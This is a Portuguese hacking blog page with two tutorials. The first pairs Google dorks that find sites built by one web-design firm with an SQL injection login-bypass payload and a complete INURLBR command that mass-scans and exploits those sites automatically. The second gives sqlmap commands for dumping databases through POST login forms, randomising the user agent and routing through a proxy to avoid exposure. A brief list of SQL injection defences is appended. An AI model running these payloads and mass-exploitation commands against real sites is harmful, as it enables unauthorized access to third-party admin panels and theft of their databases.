Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador post. Mostrar todas as postagens
Mostrando postagens com marcador post. Mostrar todas as postagens

quinta-feira, 20 de agosto de 2015

Scanner INURLBR explorando via post

(Bom dia, Boa tarde, Boa noite) rsrsrs, Quem vos escreve é googleINURL  venho trazer uma forma diferente de exploração com scanner INURLBR usando request POST.

Quem vos escreve é googleINURL  venho trazer uma forma diferente de exploração com scanner INURLBR usando request POST.  Até o momento a grande utilização do scanner é feito por meio de exploração via  GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.  Para tal tutorial vamos usar um exploit publicado no Exploit4arab Exploit: http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaL  O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.


Até o momento a grande utilização do scanner é feito por meio de exploração via  GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.

Para tal tutorial vamos usar um exploit publicado no Exploit4arab
Exploit:
http://www.exploit4arab.net/exploits/1741 - Exploit Author : GeNeRaL
Affected Webs/Versions : All

O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.

Dork:
intext:"by Shaffer Web Design" ext:php
intext:"Designed by Shaffer Web Design" 
intext:"Website Development provided by Shaffer Web Design"

Acesso: 
http://www.xx.com/admin.php

POC:
Request POST
http://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My Account

Campos explorados com um simples Bypass:
email='=' 'OR'
password='=' 'OR'

Debug request:
POC: Request POST http://www.xx.com/login.php?email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.us/&Submit_Login=Login to My Account  Campos explorados com um simples Bypass: email='=' 'OR' password='=' 'OR'  Debug request:

  • 1 - Enviamos o request Bypass para o arquivo login.php
  • 2 - O servidor aceita o request e retorna código 302  http de redirecionamento.
  • 3 - Somos redirecionados para pagina my_account.php do servidor.
Agora vamos montar comando para exploração via INURLBR.
Download:

Comando:
- Setar DORK de pesquisa:
Exemplo:
--dork Defines which dork the search engine will use.
     Example: --dork {dork}
     Usage:   --dork 'site:.gov.br inurl:php? id'
     - Using multiples dorks:
     Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
     Usage:   --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'

Usando para exploração atual:
--dork 'intext:"by Shaffer Web Design" ext:php'

- Setar OUTPUT:
Exemplo:
-s  Specify the output file where it will be saved the vulnerable URLs.
     Example:  -s {file}
     Usage:    -s your_file.txt

Usando para exploração atual:
-s tutorial.txt

- Setar ifredirect validação da URL redirecionamento:
Exemplo:
 --ifredirect  Return validation method post REDIRECT_URL
     Example: --ifredirect {string_validation}
     Usage:   --ifredirect '/admin/painel.php'

Usando para exploração atual:
--ifredirect 'my_account.php'

- Setar string que será concatenada junto ao host, para isso usamos o exploit-get:
Exemplo:
 --exploit-get Defines which exploit will be injected through the GET method to each URL found.
     Example: --exploit-get {exploit_get}
     Usage:   --exploit-get "?'´%270x27;"

Usando para exploração atual:
--exploit-get '/login.php'
Ai fica a pergunta, mas por quê ? eu uso exploit-get em algo que é explorado via post ?
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.

- Setar request Bypass POST
Exemplo:
 --exploit-post Defines which exploit will be injected through the POST method to each URL found.
     Example: --exploit-post {exploit_post}
     Usage:   --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'

Usando para exploração atual:
--exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.theultimaterose.com/&Submit_Login=Login to My Account"

Comando completo:
php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"

Exemplo de Saída vulnerável:
Comando completo: php inurlbr.php --dork 'intext:"by Shaffer Web Design" ext:php' -s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&password='=' 'OR'&from_page=http://www.xx.com/&Submit_Login=Login to My Account"  Exemplo de Saída vulnerável:
OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.

Solução ?

  1. Sempre filtre o que vem do cliente.
  2. Não confie em dados que vem do cliente.
  3. Filtre todo request seja get ou post $_REQUEST.
  4. Use PDO sem moderação Prepared Statements é o poder.
  5. Use filtros nativos do PHP filter_var

Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf

sexta-feira, 21 de dezembro de 2012

COMANDOS - SQLMAP Injetando via POST.

sqlmap de uma forma diferente

COMANDOS   -   SQLMAP Injetando via POST.


COMANDOS   -   SQLMAP Injetando via POST.

sqlmap.py --url *************** --current-db
sqlmap.py --url *************** -D 'databasedosite' --tables
sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite' --columns sqlmap.py --url *************** -D 'databasedosite' -T 'tabeladosite" -C 'colunasdosite' --dump


ANALISANDO DADOS PARA O ATAQUE VIA POST

Vamos ao agora enviar via post.
Exemplo uma tela de login e senha!, como injetar com sqlmap ??
alvo:http://www.pagina.com.br/login.phpUrl para onde é enviado os posts usuario e senha, como saber qual url. 
Abra o codigo fonte e veja analise o fonte


<form  action="validar/lt.php" method="post"  >
<input type="text" name="login">
<input type="text" name="senha">
</form>

No caso para onde é enviado os posts "campos login e senha".

sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs
#2* e #1* Indica que são campos posts e os mesmo devem ser injetados


DEIXANDO SEU AGENT HTTP RANDÔMICO
Vamos incrementar o comandos no teste.--ramdon-agent ou seja ele vai ramdomizar seu Agent http://en.wikipedia.org/wiki/User_agentEX:
Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
A cada requisição ele vai mudar seu user agent:
sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs --random-agent


SETANDO PROXY
Para ficar não ficar exposto utilizer o parâmetro proxy sempre.--proxy="SEU PROXY:PORTA"
ex:
sqlmap.py --url http://www.pagina.com.br/validar/ls.php --data "login=admin#2*&senha=123#1*" --dbs --random-agent --proxy="SEU PROXY:PORTA"

MODELO 2 DE INJETAR SQL VIA POST
Agora vamos utilizar a segunda forma de injetar via post.Lendo um arquivo de requisição post via sqlmap, com o comando "-r"Precisamos criar arquivo com o nome fica sua escolha configurado devidamente.Ex:

    POST http://www.pagina.com.br/validar/ls.php HTTP/1.1
    Host: www.pagina.com.br
    Origin: http://www.pagina.com.br/
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.54.16 (KHTML, like Gecko) Version/5.1.4 Safari/534.54.16
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOMD4054CXIAin1BB
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Referer:  http://www.pagina.com.br/login.php
    Accept-Language: en-us
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=ea4b4f69b0ed5e611b0d1b5ff5c7e9f9;
    Pragma: no-cache
    Connection: keep-alive
    Proxy-Connection: keep-alive
    Content-Length: 468

    ------WebKitFormBoundaryOMD4054CXIAin1BB
    Content-Disposition: form-data; name="login#1*"

    admin
    ------WebKitFormBoundaryMDad4054CXIAin1BB
    Content-Disposition: form-data; name="senha#1*"

    1234

depois de salvar o conteúdo acima no arquivo post.txt,Vamos executalo
../sqlmap.py -r post.txt --dbs --random-agent --proxy="SEU PROXY:PORTA"


"Conhecimento livre & Com responsabilidade"